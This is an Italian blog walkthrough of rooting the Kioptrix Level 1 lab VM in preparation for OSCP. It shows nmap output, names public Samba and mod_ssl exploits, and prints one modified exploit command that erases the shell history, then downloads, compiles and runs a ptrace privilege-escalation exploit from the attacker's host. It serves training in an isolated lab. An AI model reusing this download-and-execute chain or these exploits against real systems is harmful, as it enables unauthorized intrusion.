Questa è la prima puntata di ‘Getting Root’, una serie di tutorial che mostrano come compromettere macchine preparate ad hoc, per testare la parte di sicurezza offensiva e prepararmi al secondo tentativo di OSCP.

Prologo

Ci eravamo lasciati un mese fa con il racconto della lezione impartita dal primo fallimento all’esame per l’OSCP.

Nel corso di questo mese, mentre decidevo di quanti giorni estendere il laboratorio, ho letto che il tasso di promozione è abbastanza basso, 4%.

Mi sono quindi detto «bene Paolo, sei proprio un grande xxx. Se non avessi trascurato il report del laboratorio e gli esercizi, forse avresti tirato su quei 5 punti mancanti…».

Visto che coi se e coi ma non si fa la storia, l’esame è da ripetere e quindi, sotto con la preparazione.

Kioptrix Livello 1

Potendo scegliere con cosa partire, ho preferito curare l’autostima intaccata dalla bocciatura al fil di lana, ed iniziare l’allenamento con qualcosa di semplice: una Kioptrix, Livello 1

Questa macchina virtuale è un box Linux su cui è montata una distribuzione RedHat obsoleta, con software vulnerabile, pensata proprio per essere bucata.

Nel mio percorso di avvicinamento al secondo tentativo per l’OSCP, mi sono prefissato di simulare le condizioni di esame evitando quindi di usare Metasploit, eccezion fatta per i tool come msfvenom, semplicemente fondamentale.

Setup dell’ambiente

Per iniziare, ho scaricato la macchina virtuale e configurato VirtualBox affinché esegua la mia Kali Linux e la macchina target in una rete ad hoc, isolata dal mondo esterno.

Questo si ottiene andando sulle preferenze di Virtual Box, selezionando Network ed il tab Host-only networks.

Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.

La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. Qui non si fanno favoritismi, tutti i passaggi li potete seguire con un Linux a scelta, con un Mac OS X o, se volete, anche con un Windows e l’ambiente Cygbin.

La macchina 192.168.56.102 è il target.

Recon

Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.

# nmap -A -T4 -oA 192.168.56.102 192.168.56.102

# Nmap 7.50 scan initiated Tue Sep  5 18:48:21 2017 as: nmap -A -T4 -oA 192.168.56.102 192.168.56.102
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00085s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1          32768/tcp  status
|_  100024  1          32770/udp  status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-09-05T20:48:40+00:00; +3h59m59s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:BA:F2:F4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  5 18:50:09 2017 -- 1 IP address (1 host up) scanned in 108.20 seconds

Abbiamo quindi, su questa macchina, un demone SSH, un server web (in ascolto sia su protocollo HTTP che HTTPS), alcuni servizi RPC e Samba. Le versioni sono tutte obsolete e pensate per essere bucate.

L’unica informazione che mi manca, dal primo giro di nmap, è la versione di SAMBA in esecuzione. Usando il tool smbclient, riesco a rilevare che si tratta della versione 2.2.1a.

Exploit

SAMBA

Versioni dei servizi alla mano, proviamo a vedere se c’è qualche exploit pubblico che possiamo sfruttare. Prima di cercare su Internet, proviamo a chiedere a searchexploit.

searchexploit è un tool disponibile nel pacchetto exploitdb, presente sulla distribuzione Kali Linux. Con searchexploit è possibile fare una ricerca offline degli exploit disponibili per un certo software e pubblicati su exploit-db.com.

Essendo un test in preparazione all’OSCP, una regola che mi sono dato è: niente Metasploit ad esclusione di msfvenom ed eventualmente pattern_match e pattern_create.

Ho scaricato quindi l’exploit 22470.c dall’archivio locale del pacchetto exploit_db e, senza bisogno di modifiche una volta compilato ed eseguito, una shell di root è apparsa sotto ai miei polpastrelli.

La flag era nella mailbox.

mod_ssl

Chi ha creato questa macchina virtuale ha specificato esserci più modi per ottenere una shell di root. Proviamo a passare da mod_ssl che, in questa versione, è vulnerabile ad una remote code execution.

Aprendo l’exploit, vediamo una nota, aggiunta a posteriori che ci rimanda a questo post dove possiamo seguire le istruzioni per una corretta compilazione.

Ho fatto un’ulteriore modifica all’exploit. Ad un certo punto, alla riga 666, si fa il download di un exploit che sfrutta una vulnerabilità nei vecchi kernel di Linux e che permette una privilege escalation locale.

Visto che le macchine del mio laboratorio non possono uscire su Internet, ho caricato sulla Kali l’exploit e l’ho spostato nella /var/www/html in modo da poterlo servire via HTTP.

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.56.101/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"

Dopo le modifiche, il nostro exploit si compila senza neanche un warning ed è pronto per essere eseguito.

Lanciato l’exploit, abbiamo i due stadi dell’attacco: la shell locale e l’upload dell’exploit per la privilege escalation che ci regala una shell di root .

Off by one

Questa era una macchina semplice. Sicuramente molto lontana da quelle che ho trovato durante l’esame. Mi serviva però qualcosa per aumentare un po’ l’autostima. Root alla mano, siamo pronti per una seconda macchina con cui allenarci…

Enjoy it!